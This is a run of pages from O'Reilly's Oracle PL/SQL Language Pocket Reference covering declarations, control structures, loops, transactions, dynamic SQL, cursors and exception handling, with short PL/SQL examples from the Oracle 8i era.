1.5.5.1 Constrained declarations

The datatype in a declaration can be constrained or unconstrained. Constrained datatypes have a size, scale, or precision limit that is less than the unconstrained datatype. For example:

total_sales    NUMBER(15,2);  -- Constrained.
emp_id         VARCHAR2(9);   -- Constrained.
company_number NUMBER;        -- Unconstrained.
book_title     VARCHAR2;      -- Not valid.

Constrained declarations require less memory than unconstrained declarations. Not all datatypes can be specified as unconstrained. You cannot, for example, declare a variable to be of type VARCHAR2. You must always specify the maximum size of a variable-length string.

1.5.5.2 Constants

The CONSTANT keyword in a declaration requires an initial value and does not allow that value to be changed. For example:

min_order_qty   NUMBER(1) CONSTANT := 5;

1.5.5.3 Default values

Whenever you declare a variable, it is assigned a default value of NULL. Initializing all variables is distinctive to PL/SQL; in this way, PL/SQL differs from languages such as C and Ada. If you want to initialize a variable to a value other than NULL, you do so in the declaration with either the assignment operator (:=) or the DEFAULT keyword:

counter   BINARY_INTEGER := 0;
priority  VARCHAR2(8)    DEFAULT 'LOW';

A NOT NULL constraint can be appended to the variable's datatype declaration to indicate that NULL is not a valid value. If you add the NOT NULL constraint, you must explicitly assign an initial value for that variable.

1.5.6 Anchored Declarations

Use the %TYPE attribute to anchor the datatype of a scalar variable to either another variable or to a column in a database table or view. Use %ROWTYPE to anchor a record's declaration to a cursor or table (see the Section 1.11, "Records in PL/SQL" section for more detail on the %ROWTYPE attribute).

The following block shows several variations of anchored declarations:

DECLARE
tot_sales NUMBER(20,2);
   -- Anchor to a PL/SQL variable.
   monthly_sales tot_sales%TYPE;

   -- Anchor to a database column.
   v_ename employee.last_name%TYPE;

   CURSOR mycur IS
      SELECT * FROM employee;

   -- Anchor to a cursor.
   myrec mycur%ROWTYPE;

The NOT NULL clause on a variable declaration (but not on a database column definition) follows the %TYPE anchoring and requires anchored declarations to have a default in their declaration. The default value for an anchored declaration can be different from that for the base declaration:

tot_sales      NUMBER(20,2) NOT NULL DEFAULT 0;
monthly_sales  tot_sales%TYPE DEFAULT 10;

1.5.7 Programmer-Defined Subtypes

PL/SQL allows you to define unconstrained scalar subtypes. An unconstrained subtype provides an alias to the original underlying datatype, for example:

CREATE OR REPLACE PACKAGE std_types
IS
   -- Declare standard types as globals.
   TYPE dollar_amt_t IS NUMBER;
END std_types;

CREATE OR REPLACE PROCEDURE process_money
IS
   -- Use the global type declared above.
   credit std_types.dollar_amt_t;
   ...

A constrained subtype limits or constrains the new datatype to a subset of the original datatype. For example, POSITIVE is a constrained subtype of BINARY_INTEGER. The declaration for POSITIVE in the STANDARD package is:

SUBTYPE POSITIVE IS BINARY_INTEGER RANGE 1..2147483647;

You cannot define constrained subtypes in your own programs; this capability is reserved for Oracle itself. You can, however, achieve the same effect as a constrained subtype by using %TYPE. Here is a rewriting of the previous subtype that enforces a constraint on the size of dollar amount variables:

PACKAGE std_types
IS
   v_dollar NUMBER (10, 2);

   TYPE dollar_amt_t IS v_dollar%TYPE;
END;

Previous: 1.4 PL/SQL Language Fundamentals | Oracle PL/SQL Language Pocket Reference | Next: 1.6 Conditional and Sequential Control
1.4 PL/SQL Language Fundamentals |  | 1.6 Conditional and Sequential Control
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.6 Conditional and Sequential Control

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.6 Conditional and Sequential Control

PL/SQL includes conditional (IF) structures as well as sequential control (GOTO, NULL) constructs.

1.6.1 Conditional Control Statements

1.6.1.1 IF-THEN combination

IF condition THEN
   executable statement(s)
END IF;

For example:

IF caller_type = 'VIP' THEN
   generate_response('GOLD');
END IF;

1.6.1.2 IF-THEN-ELSE combination

IF condition THEN
   TRUE sequence_of_executable_statement(s)
ELSE
   FALSE/NULL sequence_of_executable_statement(s)
END IF;

For example:

IF caller_type = 'VIP' THEN
   generate_response('GOLD');
ELSE
   generate_response('BRONZE');
END IF;

1.6.1.3 IF-THEN-ELSIF combination

IF condition-1 THEN
   statements-1
ELSIF condition-N THEN
   statements-N
[ELSE
   else statements]
END IF;

For example:

IF caller_type = 'VIP' THEN
   generate_response('GOLD');
ELSIF priority_client THEN
   generate_response('SILVER');
ELSE
   generate_response('BRONZE');
END IF;

1.6.2 Sequential Control Statements

The GOTO statement performs unconditional branching to a named label. It should be used rarely. At least one executable statement must follow the label (the NULL statement can be this necessary executable statement). The format of a GOTO statement is:

GOTO label_name;

The format of the label is:

<<label_name>>

There are a number of scope restrictions on where a GOTO can branch control. A GOTO:

  • Can branch out of an IF statement, LOOP, or sub-block

  • Cannot branch into an IF statement, LOOP, or sub-block

  • Cannot branch from one section of an IF statement to another (from the IF/THEN section to the ELSE section is illegal)

  • Cannot branch into or out of a subprogram

  • Cannot branch from the exception section to the executable section of a PL/SQL block

  • Cannot branch from the executable section to the exception section of a PL/SQL block, although a RAISE does this

The NULL statement is an executable statement that does nothing. It is useful when an executable statement must follow a GOTO label or to aid readability in an IF-THEN-ELSE structure. For example:

IF :report.selection = 'DETAIL' THEN
   exec_detail_report;
ELSE
   NULL;
END IF;

Previous: 1.5 Variables and Program Data | Oracle PL/SQL Language Pocket Reference | Next: 1.7 Loops
1.5 Variables and Program Data |  | 1.7 Loops
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.7 Loops

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.7 Loops

The LOOP construct allows you to repeatedly execute a sequence of statements. There are three kind of loops: simple, WHILE, and FOR.

Use the EXIT statement to break out of LOOP and pass control to the statement following the END LOOP.

1.7.1 The Simple Loop

The syntax for a simple loop is:

LOOP
   executable_statement(s)
END LOOP;

The simple loop should contain an EXIT or EXIT WHEN statement so as not to execute infinitely. Use the simple loop when you want the body of the loop to execute at least once.

For example:

LOOP
   FETCH company_cur INTO company_rec;
   EXIT WHEN company_cur%ROWCOUNT > 5 OR
      company_cur%NOTFOUND;
   process_company(company_cur);
END LOOP;

1.7.2 The Numeric FOR Loop

The syntax for a numeric FOR loop is:

FOR loop_index IN [REVERSE] lowest_number..
   highest_number
LOOP
   executable_statement(s)
END LOOP;

The PL/SQL runtime engine automatically declares the loop index a PLS_INTEGER variable; never declare a variable with that name yourself. The lowest_number and highest_number ranges can be variables, but are evaluated only once -- on initial entry into the loop. The REVERSE keyword causes PL/SQL to start with the highest_number and decrement down to the lowest_number. For example:

BEGIN
   DBMS_OUTPUT.PUT_LINE('Beginning Forward');
   FOR counter IN 1 .. 4
   LOOP
      DBMS_OUTPUT.PUT_LINE('counter='||counter);
   END LOOP;

   DBMS_OUTPUT.PUT_LINE('Beginning REVERSE');
   FOR counter IN REVERSE 1 .. 4
   LOOP
      DBMS_OUTPUT.PUT_LINE('counter='||counter);
   END LOOP;
END;

1.7.3 The Cursor FOR Loop

The syntax for a cursor FOR loop is:

FOR record_index IN [cursor_name | (SELECT statement)]
LOOP
   executable_statement(s)
END LOOP;

The PL/SQL runtime engine automatically declares the loop index a record of cursor_name%ROWTYPE; never declare a variable with that name yourself.

The cursor FOR loop automatically opens the cursor, fetches all rows identified by the cursor, and then closes the cursor. You can embed the SELECT statement directly in the cursor FOR loop. For example:

FOR emp_rec IN emp_cur
LOOP
   IF emp_rec.title = 'Oracle Programmer'
   THEN
      give_raise(emp_rec.emp_id,30)
   END IF;
END LOOP;

1.7.4 The WHILE Loop

The syntax for a WHILE loop is:

WHILE condition
LOOP
   executable_statement(s)
END LOOP;

Use the WHILE loop when, depending on the entry condition, you don't want the loop body to execute even once:

WHILE NOT end_of_analysis
LOOP
   perform_analysis;
   get_next_record;
   IF analysis_cursor%NOTFOUND AND next_step IS NULL
   THEN
      end_of_analysis := TRUE;
   END IF;
END LOOP;

1.7.5 The REPEAT UNTIL Loop Emulation

PL/SQL does not directly support a REPEAT UNTIL construct, but a modified simple loop can emulate one. The syntax for this emulated REPEAT UNTIL loop is:

LOOP
   executable_statement(s)
   EXIT WHEN Boolean_condition;
END LOOP;

Use the emulated REPEAT UNTIL loop when executing iterations indefinitely before conditionally terminating the loop.

1.7.6 The EXIT Statement

The syntax for the EXIT statement is:

EXIT [WHEN Boolean_condition];

If you do not include a WHEN clause in the EXIT statement, it will terminate the loop unconditionally. Otherwise, the loop terminates only if Boolean_condition evaluates to TRUE. The EXIT statement is optional and can appear anywhere in the loop.

1.7.7 Loop Labels

Loops can be optionally labeled to improve readability and execution control. The label must appear immediately in front of the statement that initiates the loop.

The following example demonstrates the use of loop labels to qualify variables within a loop and also to terminate nested and outer loops:

<<year_loop>>
FOR yearind IN 1 .. 20
LOOP
   <<month_loop>>
   LOOP
      ...
      IF year_loop.yearind > 10
      THEN
         EXIT year_loop;
      END IF;
   END LOOP month_loop;
END LOOP year_loop;

Previous: 1.6 Conditional and Sequential Control | Oracle PL/SQL Language Pocket Reference | Next: 1.8 Database Interaction and Cursors
1.6 Conditional and Sequential Control |  | 1.8 Database Interaction and Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.8 Database Interaction and Cursors

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.8 Database Interaction and Cursors

PL/SQL is tightly integrated with the underlying SQL layer of the Oracle database. You can execute SQL statements (UPDATE, INSERT, DELETE, and SELECT) directly in PL/SQL programs. You can also execute Data Definition Language (DDL) statements through the use of dynamic SQL (DBMS_SQL in Oracle7 and Oracle8, native dynamic SQL in Oracle8i). In addition, you can manage transactions with COMMIT, ROLLBACK, and other Data Control Language (DCL) statements.

1.8.1 Transaction Management

The Oracle RDBMS provides a transaction model based on a unit of work. The PL/SQL language supports most, but not all, of the database model for transactions (you cannot, for example, ROLLBACK FORCE). Transactions begin with the first change to data and end with either a COMMIT or ROLLBACK. Transactions are independent of PL/SQL blocks. Transactions can span multiple PL/SQL blocks, or there can be multiple transactions in a single PL/SQL block. The PL/SQL supported transaction statements are: COMMIT, ROLLBACK, SAVEPOINT, SET TRANSACTION, and LOCK TABLE. Each is detailed here:

1.8.1.1 COMMIT

COMMIT [WORK] [COMMENT text];

COMMIT makes the database changes permanent and visible to other database sessions. The WORK keyword is optional and only aids readability -- it is rarely used. The COMMENT text is optional and can be up to 50 characters in length. It is only germane to in-doubt distributed (two-phase commit) transactions. The database statement COMMIT FORCE for distributed transactions is not supported in PL/SQL.

1.8.1.2 ROLLBACK

ROLLBACK [WORK] [TO [SAVEPOINT] savepoint_name];

ROLLBACK undoes the changes made in the current transaction either to the beginning of the transaction or to a savepoint. A savepoint is a named processing point in a transaction, created with the SAVEPOINT statement. Rolling back to a savepoint is a partial rollback of a transaction, wiping out all changes (and savepoints) that occurred later than the named savepoint.

1.8.1.3 SAVEPOINT

SAVEPOINT savepoint_name;

SAVEPOINT establishes a savepoint in the current transaction. savepoint_name is an undeclared identifier -- you do not declare it. More than one savepoint can be established within a transaction. If you reuse a savepoint name, that savepoint is moved to the later position and you will not be able to rollback to the initial savepoint position.

1.8.1.4 SET TRANSACTION

SET TRANSACTION READ ONLY;
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
SET TRANSACTION USE ROLLBACK SEGMENT rbseg_name;

SET TRANSACTION has three transaction control functions:

READ ONLY

Marks the beginning of a read-only transaction. This indicates to the RDBMS that a read-consistent view of the database is to be enforced for the transaction (the default is for the statement). This read-consistent view means that only changes committed before the transaction begins are visible for the duration of the transaction. The transaction is ended with either a COMMIT or ROLLBACK. Only LOCK TABLE, SELECT, SELECT INTO, OPEN, FETCH, CLOSE, COMMIT, or ROLLBACK statements are permitted during a read-only transaction. Issuing other statements, such as INSERT or UPDATE, in a read-only transaction results in an ORA-1456 error.

ISOLATION LEVEL SERIALIZABLE

Similar to a READ ONLY transaction in that transaction-level read consistency is enforced instead of the default statement-level read consistency. Serializable transactions do allow changes to data, however.

USE ROLLBACK SEGMENT

Tells the RDBMS to use the specifically named rollback segment rbseg_name. This statement is useful when only one rollback segment is large and a program knows that it needs to use the large rollback segment, such as during a month-end close operation. For example, if we know our large rollback segment is named rbs_large, we can tell the database to use it by issuing the following statement before our first change to data:

SET TRANSACTION USE ROLLBACK SEGMENT rbs_large;

1.8.1.5 LOCK TABLE

LOCK TABLE table_list IN lock_mode MODE [NOWAIT];

This statement bypasses the implicit database row-level locks by explicitly locking one or more tables in the specified mode. The table_list is a comma-delimited list of tables. The lock_mode is one of ROW SHARE, ROW EXCLUSIVE, SHARE UPDATE, SHARE, SHARE ROW EXCLUSIVE, or EXCLUSIVE. The NOWAIT keyword specifies that the RDBMS should not wait for a lock to be released. If there is a lock when NOWAIT is specified, the RDBMS raises the exception "ORA-00054: resource busy and acquire with NOWAIT specified". The default RDBMS locking behavior is to wait indefinitely.

1.8.2 Native Dynamic SQL (Oracle8i)

Native dynamic SQL introduces a new PL/SQL statement, EXECUTE IMMEDIATE, and new semantics for the OPEN FOR, FETCH, and CLOSE statement family. The former applies to single-row queries and DDL, while the latter supports dynamic multi-row queries. The syntax for these statements is:

EXECUTE IMMEDIATE SQL_statement_string
[INTO { define_variable_list | record |
   object_variable }]
[USING [IN | OUT | IN OUT] bind_argument_list];

OPEN cursor_variable FOR
   SELECT_statement_string;

FETCH cursor_variable INTO {define_variable_list
    | record | object_variable};
CLOSE cursor_variable;

The EXECUTE IMMEDIATE statement parses and executes the SQL statement in a single step. It can be used for any SQL statement except a multi-row query. define_variable_list is a comma-delimited list of variable names; the bind_argument_list is a comma-delimited list of bind arguments. The parameter mode is optional and defaults to IN. Do not place a trailing semicolon in the SQL_statement_string.

This is the statement that can be used to execute DDL without the DBMS_SQL package. For example:

EXECUTE IMMEDIATE 'TRUNCATE TABLE foo';
EXECUTE IMMEDIATE 'GRANT SELECT ON '|| tabname_v ||
   ' TO ' || grantee_list;

The OPEN FOR statement assigns a multi-row query to a weakly typed cursor variable. The rows are then FETCHed and the cursor CLOSEd.

DECLARE
   TYPE cv_typ IS REF CURSOR;
   cv cv_typ;
   laccount_no NUMBER;
   lbalance NUMBER;
BEGIN
   OPEN cv FOR
      'SELECT account_no, balance
         FROM accounts
        WHERE balance < 500';
   LOOP
      FETCH cv INTO laccount_no, lbalance;
      EXIT WHEN cv%NOTFOUND;
      -- Process the row.
   END LOOP;
   CLOSE cv;
END;

1.8.3 Autonomous Transactions (Oracle8i)

Autonomous transactions execute within a block of code as separate transactions from the outer (main) transaction. Changes can be committed or rolled back in an autonomous transaction without committing or rolling back the main transaction. Changes committed in an autonomous transaction are visible to the main transaction, even though they occur after the start of the main transaction. Changes committed in an autonomous transaction are visible to other transactions as well. The RDBMS suspends the main transaction while the autonomous transaction executes:

PROCEDURE main IS
BEGIN
   UPDATE ...-- Main transaction begins here.
   DELETE ...
   at_proc;  -- Call the autonomous transaction.
   SELECT ...
   INSERT ...
   COMMIT;   -- Main transaction ends here.
END;

PROCEDURE at_proc IS
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN        -- Main transaction suspends here.
   SELECT ...
   INSERT ...-- Autonomous transaction begins here.
   UPDATE ...
   DELETE ...
   COMMIT;   -- Autonomous transaction ends here.
END;         -- Main transaction resumes here.

So, changes made in the main transaction are not visible to the autonomous transaction and if the main transaction holds any locks that the autonomous transaction waits for, a deadlock occurs. Using the NOWAIT option on UPDATE statements in autonomous transactions can help to minimize this kind of deadlock. Functions and procedures (local program, standalone, or packaged), database triggers, top-level anonymous PL/SQL blocks, and object methods can be declared autonomous via the compiler directive PRAGMA AUTONOMOUS_TRANSACTION.

In the example below, the COMMIT does not make permanent pending changes in the calling program. Any rollback in the calling program would also have no effect on the changes committed in this autonomous procedure:

CREATE OR REPLACE PROCEDURE add_company (
   name_in   company.name%TYPE
   )
IS
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
   determine_credit(name);
   create_account(name);
   ...
   COMMIT;  -- Only commit this procedure's changes.
END add_company;

Previous: 1.7 Loops | Oracle PL/SQL Language Pocket Reference | Next: 1.9 Cursors in PL/SQL
1.7 Loops |  | 1.9 Cursors in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.9 Cursors in PL/SQL

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.9 Cursors in PL/SQL

Every SQL statement executed by the RDBMS has a private SQL area that contains information about the SQL statement and the set of data returned. In PL/SQL, a cursor is a name assigned to a specific private SQL area for a specific SQL statement. There can be either static cursors, whose SQL statement is determined at compile time, or dynamic cursors, whose SQL statement is determined at runtime. Static cursors are covered in greater detail in this section. Dynamic cursors in PL/SQL are implemented via the built-in package DBMS_SQL. See the book Oracle Built-in Packages and the corresponding Oracle PL/SQL Built-ins Pocket Reference, both from O'Reilly & Associates, for full coverage on DBMS_SQL and the other built-in packages.

1.9.1 Explicit Cursors

Explicit cursors are SELECT statements that are DECLAREd explicitly in the declaration section of the current block or in a package specification. Use OPEN, FETCH, and CLOSE in the execution or exception sections of your programs.

1.9.1.1 Declaring explicit cursors

To use an explicit cursor, you must first declare it in the declaration section of a block or package. There are three types of explicit cursor declarations:

  • A cursor without parameters, such as:

      CURSOR company_cur
         IS
         SELECT company_id FROM company;

  • A cursor that accepts arguments through a parameter list:

      CURSOR company_cur (id_in IN NUMBER) IS
      SELECT name FROM company
      WHERE  company_id = id_in;

  • A cursor header that contains a RETURN clause in place of the SELECT statement:

      CURSOR company_cur (id_in IN NUMBER)
      RETURN company%ROWTYPE IS
      SELECT * FROM company;

This technique can be used in packages to hide the implementation of the cursor in the package body. See the Section 1.14" section for more information.

1.9.1.2 Opening explicit cursors

To open a cursor, use the following syntax:

OPEN cursor_name [(argument [,argument ...])];

where cursor_name is the name of the cursor as declared in the declaration section. The arguments are required if the definition of the cursor contains a parameter list.

You must open an explicit cursor before you can fetch rows from that cursor. When the cursor is opened, the processing includes the PARSE, BIND, OPEN, and EXECUTE statements. This OPEN processing includes: determining an execution plan, associating host variables and cursor parameters with the placeholders in the SQL statement, determining the result set, and, finally, setting the current row pointer to the first row in the result set.

When using a cursor FOR loop, the OPEN is implicit in the FOR statement. If you try to open a cursor that is already open, PL/SQL will raise an "ORA-06511: PL/SQL: cursor already open" exception.

1.9.1.3 Fetching from explicit cursors

The FETCH statement places the contents of the current row into local variables. To retrieve all rows in a result set, each row needs to be fetched. The syntax for a FETCH statement is:

FETCH cursor_name INTO record_or_variable_list;

where cursor_name is the name of the cursor as declared and opened.

1.9.1.4 Closing explicit cursors

The syntax of the CLOSE statement is:

CLOSE cursor_name;

where cursor_name is the name of the cursor declared and opened.

After all rows have been fetched, a cursor needs to be closed. Closing a cursor releases the private SQL area used by the cursor, freeing the memory used by that cursor.

If you declare a cursor in a local anonymous, procedure, or function block, that cursor will automatically close when the block terminates. Package-based cursors must be closed explicitly, or they stay open for the duration of your session. Closing a cursor that is not open raises an INVALID CURSOR exception.

1.9.1.5 Explicit cursor attributes

There are four attributes associated with cursors: ISOPEN, FOUND, NOTFOUND, and ROWCOUNT. These attributes can be accessed with the % delimiter to obtain information about the state of the cursor. The syntax for a cursor attribute is:

cursor_name%attribute

where cursor_name is the name of the explicit cursor.

The behaviors of the explicit cursor attributes are described in the following table.

Attribute | Description
%ISOPEN | TRUE if cursor is open. FALSE if cursor is not open.
%FOUND | INVALID_CURSOR is raised if cursor has not been OPENed. NULL before the first fetch. TRUE if record was fetched successfully. FALSE if no row was returned. INVALID_CURSOR if cursor has been CLOSEd.
%NOTFOUND | INVALID_CURSOR is raised if cursor has not been OPENed. NULL before the first fetch. FALSE if record was fetched successfully. TRUE if no row was returned. INVALID_CURSOR if cursor has been CLOSEd.
%ROWCOUNT | INVALID_CURSOR is raised if cursor has not been OPENed. The number of rows fetched from the cursor. INVALID_CURSOR if cursor has been CLOSEd.

Frequently a cursor attribute is checked as part of a WHILE loop that fetches rows from a cursor:

DECLARE
   caller_rec caller_pkg.caller_cur%ROWTYPE;
BEGIN
   OPEN caller_pkg.caller_cur;
   LOOP
      FETCH caller_pkg.caller_cur into caller_rec;
      EXIT WHEN caller_pkg.caller_cur%NOTFOUND
               OR
               caller_pkg.caller_cur%ROWCOUNT > 10;

      UPDATE call
         SET caller_id = caller_rec.caller_id
         WHERE call_timestamp < SYSDATE;
   END LOOP;
   CLOSE caller_pkg.caller_cur;
END;

1.9.2 Implicit Cursors

Whenever a SQL statement is directly in the execution or exception section of a PL/SQL block, you are working with implicit cursors. These statements include INSERT, UPDATE, DELETE, and SELECT INTO statements. Unlike explicit cursors, implicit cursors do not need to be declared, OPENed, FETCHed, or CLOSEd.

SELECT statements handle the %FOUND and %NOTFOUND attributes differently from explicit cursors. When an implicit SELECT statement does not return any rows, PL/SQL immediately raises the NO_DATA_FOUND exception and control passes to the exception section. When an implicit SELECT returns more than one row, PL/SQL immediately raises the TOO_MANY_ROWS exception and control passes to the exception section.

Implicit cursor attributes are referenced via the SQL cursor. For example:

BEGIN
   UPDATE activity SET last_accessed := SYSDATE
   WHERE UID = user_id;

   IF SQL%NOTFOUND THEN
      INSERT INTO activity_log (uid,last_accessed)
      VALUES (user_id,SYSDATE);
   END IF
END;
SQL Attributes | Description
%ISOPEN | Always FALSE since the cursor is opened implicitly and closed immediately after the statement is executed.
%FOUND | NULL before the statement. TRUE if one or more rows were inserted, updated, or deleted or if only one row was selected. FALSE if no row was selected, updated, inserted, or deleted.
%NOTFOUND | NULL before the statement. TRUE if no row was selected, updated, inserted, or deleted. FALSE if one or more rows were inserted, updated, or deleted.
%ROWCOUNT | The number of rows affected by the cursor.
%BULK_ROWCOUNT (Oracle8i) | A pseudo index-by table containing the numbers of rows affected by the statements executed in bulk bind operations. See the "Bulk Binds (Oracle8i)" section for more information on %BULK_ROWCOUNT.

Use the RETURNING clause in INSERT, UPDATE, and DELETE statements to obtain data modified by the associated DML statement. This clause allows you to avoid an additional SELECT statement to query the results of the DML statement. For example:

BEGIN
   UPDATE activity SET last_accessed := SYSDATE
   WHERE UID = user_id
   RETURNING last_accessed, cost_center
   INTO timestamp, chargeback_acct;

1.9.2.1 The SELECT FOR UPDATE clause

By default, the Oracle RDBMS locks rows as they are changed. To lock all rows in a result set, use the FOR UPDATE clause in your SELECT statement when you OPEN the cursor, instead of when you change the data. Using the FOR UPDATE clause does not require you to actually make changes to the data; it only locks the rows when opening the cursor. These locks are released on the next COMMIT or ROLLBACK. As always, these row locks do not affect other SELECT statements unless they, too, are FOR UPDATE. The FOR UPDATE clause is appended to the end of the SELECT statement and has the following syntax:

SELECT ...
  FROM ...
   FOR UPDATE [OF column_reference] [NOWAIT];

where column_reference is a comma-delimited list of columns that appear in the SELECT clause. The NOWAIT keyword tells the RDBMS to not wait for other blocking locks to be released. The default is to wait forever.

In the following example, only columns from the inventory (pet) table are referenced FOR UPDATE, so no rows in the dog_breeds (dog) table are locked when hounds_in_stock_cur is opened:

DECLARE
   CURSOR hounds_in_stock_cur IS
      SELECT pet.stock_no, pet.breeder, dog.size
        FROM dog_breeds dog ,inventory pet
       WHERE dog.breed = pet.breed
         AND dog.class = 'HOUND'
         FOR UPDATE OF pet.stock_no, pet.breeder;
BEGIN

1.9.2.2 The WHERE CURRENT OF clause

UPDATE and DELETE statements can use a WHERE CURRENT OF clause if they reference a cursor declared FOR UPDATE. This syntax indicates that the UPDATE or DELETE should modify the current row identified by the FOR UPDATE cursor. The syntax is:

[UPDATE | DELETE ] ...
   WHERE CURRENT OF cursor_name;

By using WHERE CURRENT OF, you do not have to repeat the WHERE clause in the SELECT statement. For example:

DECLARE
   CURSOR wip_cur IS
      SELECT acct_no, enter_date FROM wip
       WHERE enter_date < SYSDATE -7
         FOR UPDATE;
BEGIN
   FOR wip_rec IN wip_cur
   LOOP
      INSERT INTO acct_log (acct_no, order_date)
         VALUES (wip_rec.acct_no, wip_rec.enter_
            date);
      DELETE FROM wip
         WHERE CURRENT OF wip_cur;
   END LOOP;
END;

1.9.3 Cursor Variables

A cursor variable is a data structure that points to a cursor object, which in turn points to the cursor's result set. You can use cursor variables to more easily retrieve rows in a result set from client and server programs. You can also use cursor variables to hide minor variations in queries.

The syntax for a REF_CURSOR type is:

TYPE ref_cursor_name IS REF CURSOR
   [RETURN record_type];

If you do not include a RETURN clause, then you are declaring a weak REF CURSOR. Cursor variables declared from weak REF CURSORs can be associated with any query at runtime. A REF CURSOR declaration with a RETURN clause defines a "strong" REF CURSOR. A cursor variable based on a strong REF CURSOR can be associated with queries whose result sets match the number and datatype of the record structure after the RETURN at runtime.

To use cursor variables, you must first create a REF_CURSOR type, then declare a cursor variable based on that type.

The following example shows the use of both weak and strong REF CURSORs:

DECLARE
   -- Create a cursor type based on the companies
      table.
   TYPE company_curtype IS REF CURSOR
      RETURN companies%ROWTYPE;

   -- Create the variable based on the REF CURSOR.
   company_cur company_curtype;

   -- And now the weak, general approach.
   TYPE any_curtype IS REF CURSOR;
   generic_curvar any_curtype;

The syntax to OPEN a cursor variable is:

OPEN cursor_name FOR select_statement;

FETCH and CLOSE a cursor variable using the same syntax as for explicit cursors. There are a number of restrictions on cursor variables:

  • Cursor variables cannot be declared in a package since they do not have a persistent state.

  • You cannot use the FOR UPDATE clause with cursor variables.

  • You cannot assign NULLs to a cursor variable nor use comparison operators to test for equality, inequality, or nullity.

  • Neither database columns nor collections can store cursor variables.

  • You cannot use RPCs to pass cursor variables from one server to another.

  • Cursor variables cannot be used with the dynamic SQL built-in package DBMS_SQL.

Previous: 1.8 Database Interaction and Cursors | Oracle PL/SQL Language Pocket Reference | Next: 1.10 Exception Handling
1.8 Database Interaction and Cursors |  | 1.10 Exception Handling
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.10 Exception Handling

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.10 Exception Handling

PL/SQL allows developers to raise and handle errors (exceptions) in a very flexible and powerful way. Each PL/SQL block can have its own exception section, in which exceptions can be trapped and handled (resolved or passed on to the enclosing block).

When an exception occurs (is raised) in a PL/SQL block, its execution section immediately terminates. Control is passed to the exception section.

Every exception in PL/SQL has an error number and error message; some exceptions also have names.

1.10.1 Declaring Exceptions

Some exceptions (see the following table) have been pre-defined by Oracle in the STANDARD package. You can also declare your own exceptions as follows:

DECLARE
   exception_name EXCEPTION;
Error | Named Exception
ORA-00001 | DUP_VAL_ON_INDEX
ORA-00051 | TIMEOUT_ON_RESOURCE
ORA-01001 | INVALID_CURSOR
ORA-01012 | NOT_LOGGED_ON
ORA-01017 | LOGIN_DENIED
ORA-01403 | NO_DATA_FOUND
ORA-01410 | SYS_INVALID_ROWID
ORA-01422 | TOO_MANY_ROWS
ORA-01476 | ZERO_DIVIDE
ORA-01722 | INVALID_NUMBER
ORA-06500 | STORAGE_ERROR
ORA-06501 | PROGRAM_ERROR
ORA-06502 | VALUE_ERROR
ORA-06504 | ROWTYPE_MISMATCH
ORA-06511 | CURSOR_ALREADY_OPEN
ORA-06530 | ACCESS_INTO_NULL
ORA-06531 | COLLECTION_IS_NULL
ORA-06532 | SUBSCRIPT_OUTSIDE_LIMIT
ORA-06533 | SUBSCRIPT_BEYOND_COUNT

An exception can be declared only once in a block, but nested blocks can declare an exception with the same name as an outer block. If this multiple declaration occurs, scope takes precedence over name when handling the exception. The inner block's declaration takes precedence over a global declaration.

When you declare your own exception, you must RAISE it explicitly. All declared exceptions have an error code of 1 and the error message "User-defined exception," unless you use the EXCEPTION_INIT pragma.

You can associate an error number with a declared exception with the PRAGMA EXCEPTION_INIT statement:

DECLARE
   exception_name EXCEPTION;
   PRAGMA EXCEPTION_INIT (exception_name,
      error_number);

where error_number is a literal value (variable references are not allowed). This number can be an Oracle error, such as -1855, or an error in the user-definable -20000 to -20999 range.

1.10.2 Raising Exceptions

An exception can be raised in three ways:

  • By the PL/SQL runtime engine

  • By an explicit RAISE statement in your code

  • By a call to the built-in function RAISE_APPLICATION_ERROR

The syntax for the RAISE statement is:

RAISE exception_name;

where exception_name is the name of an exception that you have declared, or that is declared in the STANDARD package.

If you use the RAISE statement inside an exception handler, you can leave off an exception name to re-raise the current exception:

RAISE;

This syntax is not valid outside the exception section.

The RAISE_APPLICATION_ERROR built-in has the following header:

RAISE_APPLICATION_ERROR (
   num BINARY_INTEGER,
   msg VARCHAR2,
   keeperrorstack BOOLEAN DEFAULT FALSE);

where num is the error number (an integer between -20999 and -20000), msg is the associated error message, and keeperrorstack controls the contents of the error stack.

1.10.3 Scope

